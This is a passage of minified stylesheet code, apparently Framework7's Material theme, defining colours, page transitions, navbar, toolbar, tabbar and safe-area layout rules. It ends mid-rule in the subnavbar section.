a{color:#2196f3}.md .color-theme-pink a{color:#e91e63}.md .color-theme-yellow a{color:#ffeb3b}.md .color-theme-orange a{color:#ff9800}.md .color-theme-gray a{color:#9e9e9e}.md .color-theme-white a{color:#fff}.md .color-theme-black a{color:#000}.md a.color-red{color:#f44336}.md a.color-green{color:#4caf50}.md a.color-blue{color:#2196f3}.md a.color-pink{color:#e91e63}.md a.color-yellow{color:#ffeb3b}.md a.color-orange{color:#ff9800}.md a.color-gray{color:#9e9e9e}.md a.color-white{color:#fff}.md a.color-black{color:#000}.statusbar{position:absolute;left:0;top:0;width:100%;z-index:10000;-webkit-box-sizing:border-box;box-sizing:border-box;display:none}html.device-ios .statusbar,html.ios:not(.device-ios):not(.device-android) .statusbar{height:20px}html.device-android .statusbar,html.md:not(.device-ios):not(.device-android) .statusbar{height:24px}html.device-ios.device-iphone-x .statusbar{height:constant(safe-area-inset-top);height:env(safe-area-inset-top)}html.with-statusbar .statusbar{display:block}html.with-statusbar.device-ios .framework7-root,html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root{padding-top:20px}html.with-statusbar.device-android .framework7-root,html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root{padding-top:24px}html.with-statusbar.device-iphone-x .framework7-root{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.md .statusbar{background:#0a6ebd}.md .color-theme-red .statusbar{background:#d2190b}.md .color-theme-green .statusbar{background:#357a38}.md .color-theme-blue .statusbar{background:#0a6ebd}.md .color-theme-pink .statusbar{background:#aa1145}.md .color-theme-yellow .statusbar{background:#eed500}.md .color-theme-orange .statusbar{background:#b36a00}.md .color-theme-gray .statusbar{background:#787878}.md .color-theme-white .statusbar{background:#d9d9d9}.md .color-theme-black .statusbar{background:#000}.view,.views{position:relative;height:100%;z-index:5000;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.pages{position:relative;width:100%;height:100%;overflow:hidden}.page{-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.page.stacked{display:none}.page-previous{pointer-events:none}.page-content{overflow:auto;-webkit-overflow-scrolling:touch;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;position:relative;z-index:1}.md .page-shadow-effect{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;left:100%;background:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%)}.md .page-opacity-effect{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000}.md .page{background:#fff}.md .page-next{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0;pointer-events:none}.md .page-next.page-next-on-right{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.md .page-transitioning,.md .page-transitioning .page-opacity-effect,.md .page-transitioning .page-shadow-effect{-webkit-transition-duration:250ms;transition-duration:250ms}.md .page-transitioning-swipeback,.md .page-transitioning-swipeback .page-opacity-effect,.md .page-transitioning-swipeback .page-shadow-effect{-webkit-transition-duration:.4s;transition-duration:.4s}.md .router-transition-backward .page,.md .router-transition-forward .page{pointer-events:none}.md .router-transition-css-forward .page-next{-webkit-animation:md-page-next-to-current 250ms forwards;animation:md-page-next-to-current 250ms forwards}.md .router-transition-css-forward .page-current{-webkit-animation:none;animation:none}.md .router-transition-css-backward .page-current{-webkit-animation:md-page-current-to-next 250ms forwards;animation:md-page-current-to-next 250ms forwards}.md .router-transition-css-backward .page-previous{-webkit-animation:none;animation:none}.md .theme-dark .page,.page.md .theme-dark{background:#171717}@-webkit-keyframes md-page-next-to-current{from{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes md-page-next-to-current{from{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes md-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}to{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}}@keyframes md-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}to{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}}.link,.tab-link{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.md .link i+i,.md .link i+span,.md .link span+i,.md .link span+span{margin-right:8px}.navbar{position:relative;left:0;top:0;width:100%;z-index:500;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar b{font-weight:500}.navbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.navbar .left,.navbar .right,.navbar .title{position:relative;z-index:1}.navbar .title{text-align:center;position:relative;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;font-weight:500;display:inline-block}.navbar .subtitle{display:block}.navbar .left,.navbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar .right:first-child{position:absolute;height:100%}.navbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.navbar-inner.stacked{display:none}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.md .navbar{height:56px;background:#2196f3;color:#fff;font-size:20px}.md .navbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .navbar.no-shadow:after{display:none}.md .navbar a{color:inherit}.md .navbar a.link{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px;min-width:48px;height:56px;line-height:56px}.md .navbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .navbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .navbar a.icon-only{min-width:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .navbar .title{margin:0 16px;line-height:1.2;text-align:left}.md .navbar .subtitle{line-height:1.2;font-size:14px;font-weight:400;color:rgba(255,255,255,.85)}.md .navbar .right{margin-right:auto}.md .navbar .right:first-child{left:16px}.md .navbar-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden}.md .page-with-subnavbar .navbar-inner{overflow:visible}.md .navbar~* .page-content,.md .navbar~.page-content{padding-top:56px}@media (min-width:768px){.md .navbar{height:64px}.md .navbar a.link{height:64px;line-height:64px}.md .navbar~* .page-content,.md .navbar~.page-content{padding-top:64px}}.md .navbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.md .navbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.md .navbar-hidden:after{display:none}.md .color-theme-red .navbar,.md .color-theme-red.navbar{background:#f44336}.md .color-theme-green .navbar,.md .color-theme-green.navbar{background:#4caf50}.md .color-theme-blue .navbar,.md .color-theme-blue.navbar{background:#2196f3}.md .color-theme-pink .navbar,.md .color-theme-pink.navbar{background:#e91e63}.md .color-theme-yellow .navbar,.md .color-theme-yellow.navbar{background:#ffeb3b}.md .color-theme-orange .navbar,.md .color-theme-orange.navbar{background:#ff9800}.md .color-theme-gray .navbar,.md .color-theme-gray.navbar{background:#9e9e9e}.md .color-theme-white .navbar,.md .color-theme-white.navbar{background:#fff}.md .color-theme-black .navbar,.md .color-theme-black.navbar{background:#000}.md .navbar.color-red{background:#f44336}.md .navbar.color-green{background:#4caf50}.md .navbar.color-blue{background:#2196f3}.md .navbar.color-pink{background:#e91e63}.md .navbar.color-yellow{background:#ffeb3b}.md .navbar.color-orange{background:#ff9800}.md .navbar.color-gray{background:#9e9e9e}.md .navbar.color-white{background:#fff}.md .navbar.color-black{background:#000}@media (orientation:landscape){.md.device-iphone-x .ios-edges .navbar-inner,.md.device-iphone-x .ios-left-edge .navbar-inner,.md.device-iphone-x .panel-left .navbar-inner,.md.device-iphone-x .popup .navbar-inner,.md.device-iphone-x .sheet-modal .navbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .navbar-inner,.md.device-iphone-x .ios-right-edge .navbar-inner,.md.device-iphone-x .panel-right .navbar-inner,.md.device-iphone-x .popup .navbar-inner,.md.device-iphone-x .sheet-modal .navbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.toolbar{width:100%;position:relative;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;left:0}.toolbar b{font-weight:500}.toolbar a{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;white-space:nowrap;text-overflow:ellipsis}.toolbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.toolbar i.icon{display:block}.toolbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.views>.tabbar,.views>.tabbar-labels{z-index:5001}.tabbar a.link,.tabbar-labels a.link{line-height:1.4}.tabbar a.link,.tabbar a.tab-link,.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.tabbar-labels a.link .tabbar-label,.tabbar-labels a.tab-link .tabbar-label{display:block;line-height:1;margin:0;position:relative;text-overflow:ellipsis;white-space:nowrap}.tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-overflow-scrolling:touch}.tabbar-scrollable .toolbar-inner::-webkit-scrollbar{display:none!important;width:0!important;height:0!important;-webkit-appearance:none;opacity:0!important}.tabbar-scrollable a.link,.tabbar-scrollable a.tab-link{width:auto;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.page>.toolbar,.view>.toolbar,.views>.toolbar{position:absolute}.md .toolbar{background:#2196f3;height:48px;color:#fff;font-size:14px;top:0}.md .toolbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .toolbar.no-shadow:after{display:none}.md .toolbar a{color:#fff}.md .toolbar a.link{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px;min-width:48px;line-height:48px;height:48px}.md .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .toolbar a.link i+i,.md .toolbar a.link i+span,.md .toolbar a.link span+i,.md .toolbar a.link span+span{margin-right:8px}.md .toolbar a.icon-only{min-width:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .toolbar-inner{overflow:hidden}.md .tabbar a.link,.md .tabbar a.tab-link,.md .tabbar-labels a.link,.md .tabbar-labels a.tab-link{padding-left:0;padding-right:0;font-size:14px;text-transform:uppercase;font-weight:500;letter-spacing:.03em}.md .tabbar i.icon,.md .tabbar-labels i.icon{height:24px}.md .tabbar a.tab-link,.md .tabbar-labels a.tab-link{-webkit-transition-duration:.3s;transition-duration:.3s;overflow:hidden;color:rgba(255,255,255,.7);position:relative}.md .tabbar a.tab-link.active-state,.md .tabbar a.tab-link.tab-link-active,.md .tabbar-labels a.tab-link.active-state,.md .tabbar-labels a.tab-link.tab-link-active{color:#fff}.md .tabbar .tab-link-highlight,.md .tabbar-labels .tab-link-highlight{position:absolute;left:0;bottom:0;height:2px;background:#fff;-webkit-transition-duration:.3s;transition-duration:.3s;right:0}.md .messagebar,.md .toolbar-bottom-md{top:auto!important;bottom:0!important}.md .messagebar:after,.md .toolbar-bottom-md:after{content:'';position:absolute;right:0;width:100%;bottom:100%;height:10px;top:auto;pointer-events:none;background:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .messagebar .tab-link-highlight,.md .toolbar-bottom-md .tab-link-highlight{bottom:auto;top:0}.md .tabbar-labels{height:72px}.md .tabbar-labels a.link,.md .tabbar-labels a.tab-link{padding-top:12px;padding-bottom:12px}.md .tabbar-labels .tabbar-label{margin-top:10px;max-width:100%;overflow:hidden}.md .tabbar-labels.toolbar-bottom-md{height:56px}.md .tabbar-labels.toolbar-bottom-md a.link,.md .tabbar-labels.toolbar-bottom-md a.tab-link{padding-top:7px;padding-bottom:7px}.md .tabbar-labels.toolbar-bottom-md .tabbar-label{text-transform:none;line-height:1.2;font-weight:400;letter-spacing:0}.md .tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.md .tabbar-scrollable a.link,.md .tabbar-scrollable a.tab-link{padding:0 16px}.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:48px}.md .toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:72px}.md .toolbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.md .toolbar-hidden:after{display:none}.md .toolbar-hidden.messagebar,.md .toolbar-hidden.toolbar-bottom-md{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar){top:56px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:104px}.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:128px}.md .navbar+.toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-104px,0);transform:translate3d(0,-104px,0)}.md .navbar+.toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md){-webkit-transform:translate3d(0,-128px,0);transform:translate3d(0,-128px,0)}.md .navbar.navbar-hidden+.toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden){-webkit-transform:translate3d(0,-56px,0);transform:translate3d(0,-56px,0)}@media (min-width:768px){.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar){top:64px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:112px}.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:136px}.md .navbar.navbar-hidden+.toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden){-webkit-transform:translate3d(0,-64px,0);transform:translate3d(0,-64px,0)}.md .navbar+.toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-112px,0);transform:translate3d(0,-112px,0)}.md .navbar+.toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-136px,0);transform:translate3d(0,-136px,0)}}.md .messagebar~* .page-content,.md .messagebar~.page-content,.md .toolbar-bottom-md~* .page-content,.md .toolbar-bottom-md~.page-content{padding-bottom:48px}.md .toolbar-bottom-md.tabbar-labels~* .page-content,.md .toolbar-bottom-md.tabbar-labels~.page-content{padding-bottom:56px}.md .navbar-transitioning+.toolbar,.md .toolbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.md .color-theme-red .toolbar:not(.messagebar),.md .color-theme-red.toolbar:not(.messagebar){background:#f44336}.md .color-theme-green .toolbar:not(.messagebar),.md .color-theme-green.toolbar:not(.messagebar){background:#4caf50}.md .color-theme-blue .toolbar:not(.messagebar),.md .color-theme-blue.toolbar:not(.messagebar){background:#2196f3}.md .color-theme-pink .toolbar:not(.messagebar),.md .color-theme-pink.toolbar:not(.messagebar){background:#e91e63}.md .color-theme-yellow .toolbar:not(.messagebar),.md .color-theme-yellow.toolbar:not(.messagebar){background:#ffeb3b}.md .color-theme-orange .toolbar:not(.messagebar),.md .color-theme-orange.toolbar:not(.messagebar){background:#ff9800}.md .color-theme-gray .toolbar:not(.messagebar),.md .color-theme-gray.toolbar:not(.messagebar){background:#9e9e9e}.md .color-theme-white .toolbar:not(.messagebar),.md .color-theme-white.toolbar:not(.messagebar){background:#fff}.md .color-theme-black .toolbar:not(.messagebar),.md .color-theme-black.toolbar:not(.messagebar){background:#000}.md .toolbar:not(.messagebar).color-red{background:#f44336}.md .toolbar:not(.messagebar).color-green{background:#4caf50}.md .toolbar:not(.messagebar).color-blue{background:#2196f3}.md .toolbar:not(.messagebar).color-pink{background:#e91e63}.md .toolbar:not(.messagebar).color-yellow{background:#ffeb3b}.md .toolbar:not(.messagebar).color-orange{background:#ff9800}.md .toolbar:not(.messagebar).color-gray{background:#9e9e9e}.md .toolbar:not(.messagebar).color-white{background:#fff}.md .toolbar:not(.messagebar).color-black{background:#000}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md){height:calc(48px + constant(safe-area-inset-top));height:calc(48px + env(safe-area-inset-top))}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner{height:auto}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner{bottom:0;top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels{height:calc(72px + constant(safe-area-inset-top));height:calc(72px + env(safe-area-inset-top))}.md.device-iphone-x .login-screen>.toolbar-bottom-md,.md.device-iphone-x .page>.toolbar-bottom-md,.md.device-iphone-x .panel>.toolbar-bottom-md,.md.device-iphone-x .popup>.toolbar-bottom-md,.md.device-iphone-x .view>.toolbar-bottom-md,.md.device-iphone-x .views>.toolbar-bottom-md{height:calc(48px + constant(safe-area-inset-bottom));height:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .login-screen>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .page>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .panel>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .popup>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .view>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .views>.toolbar-bottom-md .toolbar-inner{height:auto;top:0;bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.md.device-iphone-x .login-screen>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .page>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .panel>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .popup>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .view>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .views>.toolbar-bottom-md.tabbar-labels{height:calc(56px + constant(safe-area-inset-bottom));height:calc(56px + env(safe-area-inset-bottom))}.md.device-iphone-x .messagebar~* .page-content,.md.device-iphone-x .messagebar~.page-content,.md.device-iphone-x .toolbar-bottom-md~* .page-content,.md.device-iphone-x .toolbar-bottom-md~.page-content{padding-bottom:calc(48px + constant(safe-area-inset-bottom));padding-bottom:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .toolbar-bottom-md.tabbar-labels~* .page-content,.md.device-iphone-x .toolbar-bottom-md.tabbar-labels~.page-content{padding-bottom:calc(56px + constant(safe-area-inset-bottom));padding-bottom:calc(56px + env(safe-area-inset-bottom))}@media (orientation:landscape){.md.device-iphone-x .ios-edges .toolbar-inner,.md.device-iphone-x .ios-left-edge .toolbar-inner,.md.device-iphone-x .panel-left .toolbar-inner,.md.device-iphone-x .popup .toolbar-inner,.md.device-iphone-x .sheet-modal .toolbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .toolbar-inner,.md.device-iphone-x .ios-right-edge .toolbar-inner,.md.device-iphone-x .panel-right .toolbar-inner,.md.device-iphone-x .popup .toolbar-inner,.md.device-iphone-x .sheet-modal .toolbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.subnavbar{width:100%;position:absolute;left:0;top:0;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .title{position:relative;overflow:hidden;text-overflow:ellpsis;white-space:nowrap}.subnavbar .left,.subnavbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .right:first-child{position:absolute;height:100%}.subnavbar-inner{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;overflow:hidden}.subnavbar-inner.stacked{display:none}.navbar .subnavbar{top:100%}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.md .subnavbar{height:48px;background:#2196f3;color:#fff}.md .subnavbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .subnavbar.no-shadow:after{display:none}.md .subnavbar .title{margin:0 16px;font-size:20px;line-height:48px;display:inline-block;text-align:left;font-weight:500}.md .subnavbar .title:first-child{margin-right:56px}.md .subnavbar .right{margin-right:auto}.md .subnavbar .right:first-child{left:16px}.md .subnavbar a{color:inherit}.md .subnavbar a.link{line-height:48px;height:48px;min-width:48px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px}.md .subnavbar 